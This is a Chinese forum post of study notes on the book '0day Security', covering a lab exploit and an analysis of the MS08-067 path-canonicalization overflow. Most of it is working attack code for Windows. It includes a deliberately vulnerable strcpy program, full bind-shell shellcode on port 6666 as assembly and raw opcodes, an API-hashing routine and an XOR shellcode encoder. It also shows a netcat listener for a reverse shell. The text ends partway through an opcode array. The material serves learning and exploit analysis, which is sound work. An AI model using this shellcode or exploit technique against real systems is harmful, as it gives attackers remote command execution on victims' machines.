首页
社区
课程
招聘
[原创]《0day 安全:软件漏洞分析技术 第二版》笔记
发表于: 2021-5-22 17:49 17225

[原创]《0day 安全:软件漏洞分析技术 第二版》笔记

2021-5-22 17:49
17225

  最近读了一遍0day安全这本书,收获颇多。有种农村人进城,大开眼界的感觉。这本书比较全面的介绍了windows系统安全机制方面的知识,在没接触这本书之前,自我感觉对windows系统比较了解,但看了书中介绍的知识,一下子崩溃了,盲点太多。不知道作者有更新版本的打算没有?书里的漏洞案例太老了,测试系统也是32位的老系统。估计其他人读到这本书时,也有此种牢骚。
  实验时,需要用到windows系统的很多版本,但是我只准备windows xp sp2,很多实验没有做,只是走马观花,大概了解了下。MS08-067这个漏洞,能够在windows xp sp2重现,所以我跟着书中提供的思路,对MS08-067做了比较详细的分析记录。本书的一大亮点,是对shellcode的编写做了详细的介绍,包括shellcode组织的各种形式和一些编写技巧。我在win10系统上编写了一个有栈溢出漏洞的程序,然后根据第三章的3.6.2 节所说的功能(打开6666端口),编写了一个shellcode,并且成功利用了这个漏洞。

测试系统:windows10 (版本1909)
编译器:vs2019 (版本:16.9.6)
shellcode要实现的功能:
1)绑定一个shell到6666端口。
2)允许外部的网络连接使用这个shell。
3)程序能够正常退出。

首先要写一个有栈溢出的漏洞的程序:

上面构造了一个能够造成栈溢出的程序,栈溢出来自verify_password函数里的strcpy函数。

编译时,要关闭以下的一些安全选项,以保证实验顺利进行。
基本运行时检查,选择默认值;安全检查,选择禁用安全检查。
clipboard_14_

关闭SDL检查:
clipboard_36_

关闭DEP保护:
clipboard_12_

此外,准备一个52个字节的key.txt,测试使用:
clipboard_10_

程序编译好后,用OD来打开这个程序,直接定位到关键点。
查看strcpy执行之前的堆栈状况:
clipboard_35_

再看strcpy执行之后的堆栈状况:
clipboard_23_

知道栈溢出的地方后,接下来开始编写shellcode来验证。由于程序启动后,堆栈的地址都是随机的,所以返回地址不能填固定地址。可以利用跳板技术(jmp esp),在程序加载的系统库里找一跳jmp esp的指令,jmp esp指令的硬编码是0xFFE4。
这个程序是在kernelbase.dll里寻找jmp esp指令:
clipboard_32_

搜找一条jmp esp指令:
clipboard

注:0x759802EA必须在代码区,也就是.text所在节,不然执行会出错。这个地址不是一劳永逸的,系统重启的时候,需要重新定位。
通过内存布局查看,0x759802EA在.text节:
clipboard_17_

那么,整个shellcode就可以根据下面的图来组织了:
clipboard_22_

上面已经给出了shellcode要实现的功能,这里再说一下:
1)绑定一个shell到6666端口。
2)允许外部的网络连接使用这个shell。
3)程序能够正常退出。

  需要用的的函数:LoadLibraryA、CreateProcessA、TerminateProcess、WSAStartup、WSASocketA、bind、listen、accept。前三个函数来自kernel32.dll,后面函数来自ws2_32.dll。退出程序时,书中给的函数是ExitProcess,但是我在测试的时候,ExitProcess会出现异常,所以这里用TerminateProcess代替ExitProcess,用来退出程序。
  接下来对函数字符串进行编码。依照书上的代码,把这些函数经过运算后用一个字节的hash来表示,但是在最新的系统上,LoadLibraryA以及listen函数与其他函数有相同的hash值,因此,需要把8位的hash扩展为16位,以解决hash值相同的问题。
下面的算法,把函数字符串转换成2个字节的hash值:

现在来组织橙色部分的shellcode:

以上的汇编指令,可以通过OD来把硬编码抠出来:

接下来对codetest数组里的值进行编码:

注意:把codetest的第5字节0x7改为0x1d。这是根据解码器的硬编码的字节数,计算之后再加上去的。
clipboard_18_
clipboard_29_

此外,在codetest的末尾加上0x90,用来标明解密的结束标志:
clipboard_24_

编译好后,启动程序,输出的结果如下:
clipboard_11_

把编了码的shellcode拷贝出来,备用:

解码器:

整个shellcode的组织,如下图:
clipboard_26_

最后,可以把组织好的shellcode拷贝到key.txt文件中了:
clipboard_15_

这里,再把上面的整个过程流程捋一下:
1)写一个有栈溢出漏洞的程序。
2)对要用到的函数进行编码。
3)组织shellcode。
4)再对shellcode进行编码,然后把组织好的shellcode拷贝到key.txt文件中。

最后,运行这个有栈溢出漏洞的程序。
用OD打开,经过jmp esp跳转后到达这里:
clipboard_5_

解码完之后,按F7单步跟,程序会在accent函数中阻塞,等待连接:
clipboard_28_

此时,打开cmd查看侦听的端口,可以知道6666端口已在侦听了。
clipboard_25_

查看IP地址:
clipboard_31_

用kali来连接6666端口来做测试:
clipboard_20_

kali中输入telnet 192.168.1.3 6666,按下回车后,OD中的accept函数从阻塞中恢复。
程序执行CreateProcessA后,kali得到了主机的cmd。程序再调用TerminateProcess安全退出。
clipboard_13_

kali成功控制了主机:
clipboard_7_

这里写一个反弹shell的例子,方便以后查看。代码在网上找的。
实验机器:主机是win10(版本:17763)系统,控制主机的机器是kali。
实验代码:client.exe

实验步骤:
1、先在kali上监听8333的端口,命令是 sudo nc -l -p 8333。
clipboard88

2、在win10系统点击client.exe启动程序:
clipboard_9_

3、查看kali,连接成功:
clipboard_27_

  2008年10月23日,微软紧急发布了一个严重的安全补丁MS08-067KB958644)。MS08-067是继 MS06-040之后又一个可以被利用的 RPC 漏洞,“著名”的 Conficker(又 名 Downadup、Kido)蠕虫利用的就是这个漏洞。

这个漏洞存在NetpwPathCannonicalize 函数的子函数 CanonicalizePathName 中,这两个函数都在netapi32.dll中。
受影响的系统:Windows 2000 SP4,Windows XP SP2和SP3,Windows Server 2003 SP1和SP2,Windows Vista Gold和SP1,Windows Server 2008和Windows 7 Pre-Beta。
发生栈溢出的位置,在CanonicalizePathName函数的子函数RemoveLegacyFolder中:
clipboard_30_

RemoveLegacyFolder函数的作用就是将合并路径中的经典目录移去,使路径达到最简洁状态。
比如:”aaa\bbbb.\ddddd.....\cccc\eeeee“ 实际上就是等于” aaa\cccc\eeeee“。RemoveLegacyFolder函数的作用就是如此。
接下来具体看一下这个函数:
clipboard_37_
clipboard_34_
clipboard_19_

现在直接把这个函数拷贝到vs2019进行测试:

上面测试时程序能正常退出,现在把path改一改:

再运行时,程序卡住了:
clipboard_3_

接下来,在关键位置进行单步调试:
clipboard_6_

那么,再次执行移经操作时,只要字符串足够多,就会把函数使用的堆栈空间覆盖掉。事实也是如此。
clipboard_1_

执行到545行,造成了访问权限冲突,这是因为v4是局部变量,经过移经操作后,v4的值被覆盖了。
clipboard_33_

问题就是出现在这一行:

v4 = (wchar_t)(j == 0x5C ? (unsigned int)j : 0);//在对v4赋值的时候,没有检查j是否越界。也就是说,对传进来的指针Destination没有和j对比,就直接把j赋值给v4了。

黑盒测试:(系统环境:windows xp sp2 , 编译器:vc6)

clipboard_2_

总结一下,成功溢出的条件有 3 个。
1)充分条件:前向搜索隔离符时,越过了 Buff_OF 指向的待处理串。
2)必要条件:合并路径中至少存在两个连续的经典目录‘..\’。
3)必要条件:合并路径中第二个‘..\’后有足够多的字符数以覆盖返回地址。

1、首先,要计算出wcscpy 的返回地址和 previous_slash的差值:
clipboard_16_
clipboard_21_

2、构造poc代码:

3、启动程序,成功运行了:
clipboard_8_

1、把wcscpy函数加入 security cookie 机制,以防止缓冲区溢出。
2、对RemoveLegacyFolder函数进行如下修改:

#define _CRT_SECURE_NO_WARNINGS
//#include <Windows.h>
#include <iostream>
#include <WinSock2.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
 
#define DLL_NAME "user32.dll"
#define PASSWORD "1234567"
using namespace std;
 
 
int verify_password(char* password)
{
    int authenticated;
    char buffer[44];
    authenticated = strcmp(password, PASSWORD);
    strcpy(buffer, password);//造成栈溢出的函数
    return authenticated;
}
 
int shellcode_test()
{
    int valid_flag = 0;
    char password[1024] = { 0 };
    FILE* fp; 
    DWORD filesize = 0;
 
    if (!(fp = fopen("key.txt", "rb+")))
    {
        exit(0);
    }
    fseek(fp, 0, SEEK_END);        //指针指向尾部
    filesize = ftell(fp);        //记录文件的长度
    fseek(fp, 0, SEEK_SET);        //恢复指针,指向开始位置
 
    //将文件读取缓冲区
    fread(password, filesize, 1, fp);
 
    valid_flag = verify_password(password);
    if (valid_flag)
    {
        printf("密码错误\n");
    }
    else
    {
        printf("密码正确\n");
    }
    fclose(fp);
}
 
int main()
{
    LoadLibraryA("ws2_32.dll");
    shellcode_test();
    system("pause");
    return 0;
}
#define _CRT_SECURE_NO_WARNINGS
//#include <Windows.h>
#include <iostream>
#include <WinSock2.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
 
#define DLL_NAME "user32.dll"
#define PASSWORD "1234567"
using namespace std;
 
 
int verify_password(char* password)
{
    int authenticated;
    char buffer[44];
    authenticated = strcmp(password, PASSWORD);
    strcpy(buffer, password);//造成栈溢出的函数
    return authenticated;
}
 
int shellcode_test()
{
    int valid_flag = 0;
    char password[1024] = { 0 };
    FILE* fp; 
    DWORD filesize = 0;
 
    if (!(fp = fopen("key.txt", "rb+")))
    {
        exit(0);
    }
    fseek(fp, 0, SEEK_END);        //指针指向尾部
    filesize = ftell(fp);        //记录文件的长度
    fseek(fp, 0, SEEK_SET);        //恢复指针,指向开始位置
 
    //将文件读取缓冲区
    fread(password, filesize, 1, fp);
 
    valid_flag = verify_password(password);
    if (valid_flag)
    {
        printf("密码错误\n");
    }
    else
    {
        printf("密码正确\n");
    }
    fclose(fp);
}
 
int main()
{
    LoadLibraryA("ws2_32.dll");
    shellcode_test();
    system("pause");
    return 0;
}
 
 
 
 
 
 
 
 
 
 
 
//这里把源代码稍微改了一下,变为2个字节的hash
DWORD hash_collision(const char* funcname)
{
    DWORD ret = 0;
    __asm
    {
        CLD  //清除DF标志
        xor edx, edx
        xor eax, eax
        mov esi, funcname
hash_loop :
        lodsb
        xor al, 0x71
        sub dx, ax
        rol dx,1
        cmp al, 0x71
        jne hash_loop
        mov ret, edx
    }
    return ret;
}
 
int _tmain(int argc, _TCHAR* argv[])
{   
    //char ldba[] = "LoadLibraryA";//0x00002BA3
    //char ldba[] = "CreateProcessA"; //0x00006b10
    //char ldba[] = "TerminateProcess";//0x0000a51b
    //char ldba[] = "WSAStartup";//0x0000c5c7
    //char ldba[] = "WSASocketA";//0x0000b433
    //char ldba[] = "bind";//0x0000fa11
    //char ldba[] = "listen";//0x0000e971
    char ldba[] = "accept";//0x0000ef81
    DWORD hashval = hash_collision(ldba);  
    system("pause");
    return 0;
}
//这里把源代码稍微改了一下,变为2个字节的hash
DWORD hash_collision(const char* funcname)
{
    DWORD ret = 0;
    __asm
    {
        CLD  //清除DF标志
        xor edx, edx
        xor eax, eax
        mov esi, funcname
hash_loop :
        lodsb
        xor al, 0x71
        sub dx, ax
        rol dx,1
        cmp al, 0x71
        jne hash_loop
        mov ret, edx
    }
    return ret;
}
 
int _tmain(int argc, _TCHAR* argv[])
{   
    //char ldba[] = "LoadLibraryA";//0x00002BA3
    //char ldba[] = "CreateProcessA"; //0x00006b10
    //char ldba[] = "TerminateProcess";//0x0000a51b
    //char ldba[] = "WSAStartup";//0x0000c5c7
    //char ldba[] = "WSASocketA";//0x0000b433
    //char ldba[] = "bind";//0x0000fa11
    //char ldba[] = "listen";//0x0000e971
    char ldba[] = "accept";//0x0000ef81
    DWORD hashval = hash_collision(ldba);  
    system("pause");
    return 0;
}
//对书中提供的源代码做了些改动
 
void TestPort()
{
 
    //打开6666端口
    __asm
    {
        mov eax, esp
        add eax, 7
        jmp codearea
 
        //函数的hash
        _emit    0xA3
        _emit    0x2B    //LoadLibraryA
 
        _emit    0x10
        _emit    0x6b    //CreateProcessA
 
        _emit    0x1b
        _emit    0xa5    //TerminateProcess
 
        _emit    0xc7
        _emit    0xc5    //WSAStartup
 
        _emit    0x33
        _emit    0xb4    //WSASocketA
 
        _emit    0x11
        _emit    0xfa    //bind
 
        _emit    0x71
        _emit    0xe9    //listen
 
        _emit    0x81
        _emit    0xef    //accept
 
 
        //"CMd"
        _emit 0x43        //inc ebx
        _emit 0x4d        //dec ebp
        _emit 0x64        //FS:
        codearea:
        //start of proper code
        cdq        //把edx设置为0
        xchg eax, esi                //esi = addr of first function hash
        lea edi, [esi - 0x10]        //edi = addr to start writing function
                                //address (last addr will be written just
                                //before "cmd")
 
 
        //定位kernel32.dll的基址
        mov ebx, fs: [edx + 0x30]
        mov ecx, [ebx + 0x0c]
        mov ecx, [ecx + 0x1c]
        mov ecx, [ecx]
        mov ebp, [ecx + 0x08]        //ebp = base address of kernel32.dll
 
 
        //提升堆栈空间 提升0x300
        mov dh, 0x03            //sizeof(WSADATA) is 0x190
        sub esp, edx
 
 
        //把指向"ws2_32"字符串的指针压入到堆栈
        mov dx, 0x3233        //edx剩余的部分为空
        push edx
        push 0x5F327377
        push esp
 
find_lib_functions :
        lodsw                    //从 ESI 指向的内存地址加载一个字节到AL
                            //ESI 按照方向标志位的状态递增或递减,这儿是递增
        cmp ax, 0xc5c7        //0xc5c7是WSAStartup的hash
 
        jne find_functions
        xchg eax, ebp        //save current hash
        call[edi - 0xC]        //LoadLibraryA
        xchg eax, ebp        //restore current hash
        push edi
 
 
find_functions :
        pushad                                //保存寄存器
        mov eax, [ebp + 0x3C]            //eax = start of PE header
        mov ecx, [ebp + eax + 0x78]        //ecx = relative offset of export table
        add ecx, ebp                    //导出表结构地址PIMAGE_EXPORT_DIRECTORY
        mov ebx, [ecx + 0x20]            //+20 导出函数名称表 即为_IMAGE_EXPORT_DIRECTORY + AddressOfNames
        add ebx, ebp                    //函数名称地址
        xor edi, edi
 
 
next_function_loop :
        inc edi
        mov esi, [ebx + edi * 4]        //esi = relative offset of current function name
        add esi, ebp                    //esi = absolute offset of current function name
        cdq                                //CDQ这个指令把EAX的第31bit复制到 EDX 的每一个bit上
 
        xor eax,eax
        xor edx,edx
 
hash_loop :
        lodsb                            //从 ESI 指向的内存地址加载两个字节到Ax
                                    //ESI 按照方向标志位的状态递增或递减,这儿是递增
        xor al, 0x71
        sub dx, ax
        rol dx, 1
        cmp al, 0x71                //loop until we reach end of string
        jne hash_loop
        cmp dx, [esp + 0x1C]        //compare to the requested hash (saved on stack from pushed)
        jnz next_function_loop
 
        mov ebx, [ecx + 0x24]        //+0x24 导出函数序号表 _IMAGE_EXPROT_DIRECTORY + AddressOfNameOrdinals
        add ebx, ebp                //ebx = absolute addr of ordinals table
        mov di, [ebx + 2 * edi]        //di = ordinal number of matched
        mov ebx, [ecx + 0x1C]        //+0x1C 导出函数地址表 _IMAGE_EXPROT_DIRECTORY + AddressOfFunctions
        add ebx, ebp                //ebx = absolute addr of address table
        add ebp, [ebx + 4 * edi]        //add to ebp (base addr of module) the relative offset of matched function
 
        //relative offset of matched function
        xchg eax, ebp            //move func addr into eax
        pop edi                    //edi is last onto stack in pushed
        stosd                    //stosd指令将EAX的内容存入由EDI中偏移量指向的内存位置
        push edi                //EDI按照方向标志位的状态递增或递减,这儿是递增
 
        popad                    //恢复寄存器
        cmp esi, edi                //loop until we reach end of last hash
        jne find_lib_functions
        pop esi                    //saved location of first winsock function
                                //we will lodsd and call each func in sequence
 
        //初始化winsock
        push esp                //use stack for WSADATA
        push 0x02                //wVersionRequested
        lodsd
        call eax                //调用WSAStartup
 
        //null-terminate "cmd"
        mov byte ptr[esi + 0x13], al    //eax = 0 if WSAStartup() worked
 
        //clear some stack to use as NULL parameters
        lea ecx, [eax + 0x30]            //sizeof(STARTUPINFO) = 0x44
        mov edi, esp
        rep stosd                    //eax is still 0
                                    //rep指令的目的是重复其上面的指令.ECX的值是重复的次数.
                                    //STOS指令的作用是将eax中的值拷贝到ES:EDI指向的地址.
 
        //create socket
        inc eax
        push eax                //type = 1 (SOCK_STREAM)
        inc eax
        push eax            //af = 2(AF_INET)
        lodsd
        call eax            //WSASocketA
        xchg ebp, eax        //save SOCKET descriptor in ebp
 
        //push bind parameters
        mov eax, 0x0a1aff02        //0x1a0a = prot 6666,0x02 = AF_INET
        xor ah, ah                //remove the ff from eax
        push eax
        push esp                //pointer to our sockaddr struct
 
 
        //call bind(),listen() and accept() in turn
call_loop:
        push ebp        //saved SOCKET descriptor (we implicitly pass NULL for all other params)
        lodsd
        call eax        //call the next function
        test eax, eax    //bind() and listen() return 0,accept() returns
                        //a SOCKET descriptor
        jz call_loop
 
        //initialise a STARTUPINFO structure at esp
        inc byte ptr[esp + 0x2d//set STARTF_USESTDHANDLES to true
        sub edi, 0x6c            //point edi at hStdInput in STARTUPINFO
        stosd                    //use SOCKET descriptor returned by accept
                                //(still in eax) as the stdin handle same for stdout
        stosd                    //same for stderr (optional)
 
        //创建子进程
        pop eax                //set eax = 0 (STARTUPINFO now at esp + 4)
        push esp            //use stack as PROCESSINFORMATION structure
                            //(STARTUPINFO now back to esp)
 
        push esp            //STARTUPINFO structure
        push eax            //lpCurrentDirectory = NULL
        push eax            //lpEnvironment = NULL
        push eax            //dwCreationFlags = NULL
        push esp            //bInheritHandles = true
        push eax            //lpThreadAttributes = NULL
        push eax            //lpProcessAttributes = NULL
        push esi            //lpCommandLine = "cmd"
        push eax            //lpApplicationName = NULL
        call[esi - 0x1c]        //CreateProcessA
 
        push ebx
        push 0xFFFFFFFF
        call[esi - 0x18]    //调用TerminateProcess()
    }
}
 
int _tmain(int argc, _TCHAR* argv[])
{   
    TestPort();   
    system("pause");
    return 0;
}
//对书中提供的源代码做了些改动
 
void TestPort()
{
 
    //打开6666端口
    __asm
    {
        mov eax, esp
        add eax, 7
        jmp codearea
 
        //函数的hash
        _emit    0xA3
        _emit    0x2B    //LoadLibraryA
 
        _emit    0x10
        _emit    0x6b    //CreateProcessA
 
        _emit    0x1b
        _emit    0xa5    //TerminateProcess
 
        _emit    0xc7
        _emit    0xc5    //WSAStartup
 
        _emit    0x33
        _emit    0xb4    //WSASocketA
 
        _emit    0x11
        _emit    0xfa    //bind
 
        _emit    0x71
        _emit    0xe9    //listen
 
        _emit    0x81
        _emit    0xef    //accept
 
 
        //"CMd"
        _emit 0x43        //inc ebx
        _emit 0x4d        //dec ebp
        _emit 0x64        //FS:
        codearea:
        //start of proper code
        cdq        //把edx设置为0
        xchg eax, esi                //esi = addr of first function hash
        lea edi, [esi - 0x10]        //edi = addr to start writing function
                                //address (last addr will be written just
                                //before "cmd")
 
 
        //定位kernel32.dll的基址
        mov ebx, fs: [edx + 0x30]
        mov ecx, [ebx + 0x0c]
        mov ecx, [ecx + 0x1c]
        mov ecx, [ecx]
        mov ebp, [ecx + 0x08]        //ebp = base address of kernel32.dll
 
 
        //提升堆栈空间 提升0x300
        mov dh, 0x03            //sizeof(WSADATA) is 0x190
        sub esp, edx
 
 
        //把指向"ws2_32"字符串的指针压入到堆栈
        mov dx, 0x3233        //edx剩余的部分为空
        push edx
        push 0x5F327377
        push esp
 
find_lib_functions :
        lodsw                    //从 ESI 指向的内存地址加载一个字节到AL
                            //ESI 按照方向标志位的状态递增或递减,这儿是递增
        cmp ax, 0xc5c7        //0xc5c7是WSAStartup的hash
 
        jne find_functions
        xchg eax, ebp        //save current hash
        call[edi - 0xC]        //LoadLibraryA
        xchg eax, ebp        //restore current hash
        push edi
 
 
find_functions :
        pushad                                //保存寄存器
        mov eax, [ebp + 0x3C]            //eax = start of PE header
        mov ecx, [ebp + eax + 0x78]        //ecx = relative offset of export table
        add ecx, ebp                    //导出表结构地址PIMAGE_EXPORT_DIRECTORY
        mov ebx, [ecx + 0x20]            //+20 导出函数名称表 即为_IMAGE_EXPORT_DIRECTORY + AddressOfNames
        add ebx, ebp                    //函数名称地址
        xor edi, edi
 
 
next_function_loop :
        inc edi
        mov esi, [ebx + edi * 4]        //esi = relative offset of current function name
        add esi, ebp                    //esi = absolute offset of current function name
        cdq                                //CDQ这个指令把EAX的第31bit复制到 EDX 的每一个bit上
 
        xor eax,eax
        xor edx,edx
 
hash_loop :
        lodsb                            //从 ESI 指向的内存地址加载两个字节到Ax
                                    //ESI 按照方向标志位的状态递增或递减,这儿是递增
        xor al, 0x71
        sub dx, ax
        rol dx, 1
        cmp al, 0x71                //loop until we reach end of string
        jne hash_loop
        cmp dx, [esp + 0x1C]        //compare to the requested hash (saved on stack from pushed)
        jnz next_function_loop
 
        mov ebx, [ecx + 0x24]        //+0x24 导出函数序号表 _IMAGE_EXPROT_DIRECTORY + AddressOfNameOrdinals
        add ebx, ebp                //ebx = absolute addr of ordinals table
        mov di, [ebx + 2 * edi]        //di = ordinal number of matched
        mov ebx, [ecx + 0x1C]        //+0x1C 导出函数地址表 _IMAGE_EXPROT_DIRECTORY + AddressOfFunctions
        add ebx, ebp                //ebx = absolute addr of address table
        add ebp, [ebx + 4 * edi]        //add to ebp (base addr of module) the relative offset of matched function
 
        //relative offset of matched function
        xchg eax, ebp            //move func addr into eax
        pop edi                    //edi is last onto stack in pushed
        stosd                    //stosd指令将EAX的内容存入由EDI中偏移量指向的内存位置
        push edi                //EDI按照方向标志位的状态递增或递减,这儿是递增
 
        popad                    //恢复寄存器
        cmp esi, edi                //loop until we reach end of last hash
        jne find_lib_functions
        pop esi                    //saved location of first winsock function
                                //we will lodsd and call each func in sequence
 
        //初始化winsock
        push esp                //use stack for WSADATA
        push 0x02                //wVersionRequested
        lodsd
        call eax                //调用WSAStartup
 
        //null-terminate "cmd"
        mov byte ptr[esi + 0x13], al    //eax = 0 if WSAStartup() worked
 
        //clear some stack to use as NULL parameters
        lea ecx, [eax + 0x30]            //sizeof(STARTUPINFO) = 0x44
        mov edi, esp
        rep stosd                    //eax is still 0
                                    //rep指令的目的是重复其上面的指令.ECX的值是重复的次数.
                                    //STOS指令的作用是将eax中的值拷贝到ES:EDI指向的地址.
 
        //create socket
        inc eax
        push eax                //type = 1 (SOCK_STREAM)
        inc eax
        push eax            //af = 2(AF_INET)
        lodsd
        call eax            //WSASocketA
        xchg ebp, eax        //save SOCKET descriptor in ebp
 
        //push bind parameters
        mov eax, 0x0a1aff02        //0x1a0a = prot 6666,0x02 = AF_INET
        xor ah, ah                //remove the ff from eax
        push eax
        push esp                //pointer to our sockaddr struct
 
 
        //call bind(),listen() and accept() in turn
call_loop:
        push ebp        //saved SOCKET descriptor (we implicitly pass NULL for all other params)
        lodsd
        call eax        //call the next function
        test eax, eax    //bind() and listen() return 0,accept() returns
                        //a SOCKET descriptor
        jz call_loop
 
        //initialise a STARTUPINFO structure at esp
        inc byte ptr[esp + 0x2d//set STARTF_USESTDHANDLES to true
        sub edi, 0x6c            //point edi at hStdInput in STARTUPINFO
        stosd                    //use SOCKET descriptor returned by accept
                                //(still in eax) as the stdin handle same for stdout
        stosd                    //same for stderr (optional)
 
        //创建子进程
        pop eax                //set eax = 0 (STARTUPINFO now at esp + 4)
        push esp            //use stack as PROCESSINFORMATION structure
                            //(STARTUPINFO now back to esp)
 
        push esp            //STARTUPINFO structure
        push eax            //lpCurrentDirectory = NULL
        push eax            //lpEnvironment = NULL
        push eax            //dwCreationFlags = NULL
        push esp            //bInheritHandles = true
        push eax            //lpThreadAttributes = NULL
        push eax            //lpProcessAttributes = NULL
        push esi            //lpCommandLine = "cmd"
        push eax            //lpApplicationName = NULL
        call[esi - 0x1c]        //CreateProcessA
 
        push ebx
        push 0xFFFFFFFF
        call[esi - 0x18]    //调用TerminateProcess()
    }
}
 
int _tmain(int argc, _TCHAR* argv[])
{   
    TestPort();   
    system("pause");
    return 0;
}
char codetest[] = {       
        0x8B, 0xC4, 0x83, 0xC0, 0x7, 0xEB, 0x13, 0xA3, 0x2B, 0x10, 0x6B, 0x1B, 0xA5, 0xC7, 0xC5, 0x33,
        0xB4, 0x11, 0xFA, 0x71, 0xE9, 0x81, 0xEF, 0x43, 0x4D, 0x64, 0x99, 0x96, 0x8D, 0x7E, 0xF0, 0x64,
        0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B, 0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xB6, 0x03,
        0x2B, 0xE2, 0x66, 0xBA, 0x33, 0x32, 0x52, 0x68, 0x77, 0x73, 0x32, 0x5F, 0x54, 0x66, 0xAD, 0x66,
        0x3D, 0xC7, 0xC5, 0x75, 0x06, 0x95, 0xFF, 0x57, 0xF4, 0x95, 0x57, 0x60, 0x8B, 0x45, 0x3C, 0x8B,
        0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59, 0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34, 0xBB,
        0x03, 0xF5, 0x99, 0x33, 0xC0, 0x33, 0xD2, 0xAC, 0x34, 0x71, 0x66, 0x2B, 0xD0, 0x66, 0xD1, 0xC2,
        0x3C, 0x71, 0x75, 0xF3, 0x66, 0x3B, 0x54, 0x24, 0x1C, 0x75, 0xE1, 0x8B, 0x59, 0x24, 0x03, 0xDD,
        0x66, 0x8B, 0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03, 0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57,
        0x61, 0x3B, 0xF7, 0x75, 0xA8, 0x5E, 0x54, 0x6A, 0x02, 0xAD, 0xFF, 0xD0, 0x88, 0x46, 0x13, 0x8D,
        0x48, 0x30, 0x8B, 0xFC, 0xF3, 0xAB, 0x40, 0x50, 0x40, 0x50, 0xAD, 0xFF, 0xD0, 0x95, 0xB8, 0x02,
        0xFF, 0x1A, 0x0A, 0x32, 0xE4, 0x50, 0x54, 0x55, 0xAD, 0xFF, 0xD0, 0x85, 0xC0, 0x74, 0xF8, 0xFE,
        0x44, 0x24, 0x2D, 0x83, 0xEF, 0x6C, 0xAB, 0xAB, 0x58, 0x54, 0x54, 0x50, 0x50, 0x50, 0x54, 0x50,
        0x50, 0x56, 0x50, 0xFF, 0x56, 0xE4, 0x53, 0x6A, 0xFF, 0xFF, 0x56, 0xE8
    };
char codetest[] = {       
        0x8B, 0xC4, 0x83, 0xC0, 0x7, 0xEB, 0x13, 0xA3, 0x2B, 0x10, 0x6B, 0x1B, 0xA5, 0xC7, 0xC5, 0x33,
        0xB4, 0x11, 0xFA, 0x71, 0xE9, 0x81, 0xEF, 0x43, 0x4D, 0x64, 0x99, 0x96, 0x8D, 0x7E, 0xF0, 0x64,
        0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B, 0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xB6, 0x03,
        0x2B, 0xE2, 0x66, 0xBA, 0x33, 0x32, 0x52, 0x68, 0x77, 0x73, 0x32, 0x5F, 0x54, 0x66, 0xAD, 0x66,
        0x3D, 0xC7, 0xC5, 0x75, 0x06, 0x95, 0xFF, 0x57, 0xF4, 0x95, 0x57, 0x60, 0x8B, 0x45, 0x3C, 0x8B,
        0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59, 0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34, 0xBB,
        0x03, 0xF5, 0x99, 0x33, 0xC0, 0x33, 0xD2, 0xAC, 0x34, 0x71, 0x66, 0x2B, 0xD0, 0x66, 0xD1, 0xC2,
        0x3C, 0x71, 0x75, 0xF3, 0x66, 0x3B, 0x54, 0x24, 0x1C, 0x75, 0xE1, 0x8B, 0x59, 0x24, 0x03, 0xDD,
        0x66, 0x8B, 0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03, 0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57,
        0x61, 0x3B, 0xF7, 0x75, 0xA8, 0x5E, 0x54, 0x6A, 0x02, 0xAD, 0xFF, 0xD0, 0x88, 0x46, 0x13, 0x8D,
        0x48, 0x30, 0x8B, 0xFC, 0xF3, 0xAB, 0x40, 0x50, 0x40, 0x50, 0xAD, 0xFF, 0xD0, 0x95, 0xB8, 0x02,
        0xFF, 0x1A, 0x0A, 0x32, 0xE4, 0x50, 0x54, 0x55, 0xAD, 0xFF, 0xD0, 0x85, 0xC0, 0x74, 0xF8, 0xFE,
        0x44, 0x24, 0x2D, 0x83, 0xEF, 0x6C, 0xAB, 0xAB, 0x58, 0x54, 0x54, 0x50, 0x50, 0x50, 0x54, 0x50,
        0x50, 0x56, 0x50, 0xFF, 0x56, 0xE4, 0x53, 0x6A, 0xFF, 0xFF, 0x56, 0xE8
    };
//对shellcode进行编码
void encoder(char* input, unsigned char key, int display_flag)
{
    int i = 0, len = 0;
    FILE* fp;
    unsigned char* output = 0;
    len = strlen(input);
    output = (unsigned char*)malloc(len + 1);
    if (!output)
    {
        printf("内存申请失败!\n");
        system("pause");
        exit(0);
    }
 
    //encode the shellcode
    for (i = 0; i < len; i++)
    {
        output[i] = input[i] ^ key;
    }
 
    if (!(fp = fopen("encode.txt", "w+")))
    {
        printf("文件创建失败!\n");
        system("pause");
        exit(0);
    }
    fprintf(fp, "\"");
    for (i = 0; i < len; i++)
    {
        fprintf(fp, "\\x%0.2x", output[i]);
        if ((i + 1) % 16 == 0)
        {
            fprintf(fp, "\"\n\"");
        }
    }
 
    fprintf(fp, "\";");
    fclose(fp);
    printf("dump the encoded shellcode to encode.txt OK!\n");
    if (display_flag)//打印
    {
        for (i = 0; i < len; i++)
        {
            printf("%0.2x ", output[i]);
            if ((i + 1) % 16 == 0)
            {
                printf("\n");
            }
        }
    }
    free(output);
}
 
int _tmain(int argc, _TCHAR* argv[])
{
    char codetest[] = {       
        0x8B, 0xC4, 0x83, 0xC0, 0x1d, 0xEB, 0x13, 0xA3, 0x2B, 0x10, 0x6B, 0x1B, 0xA5, 0xC7, 0xC5, 0x33,
        0xB4, 0x11, 0xFA, 0x71, 0xE9, 0x81, 0xEF, 0x43, 0x4D, 0x64, 0x99, 0x96, 0x8D, 0x7E, 0xF0, 0x64,
        0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B, 0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xB6, 0x03,
        0x2B, 0xE2, 0x66, 0xBA, 0x33, 0x32, 0x52, 0x68, 0x77, 0x73, 0x32, 0x5F, 0x54, 0x66, 0xAD, 0x66,
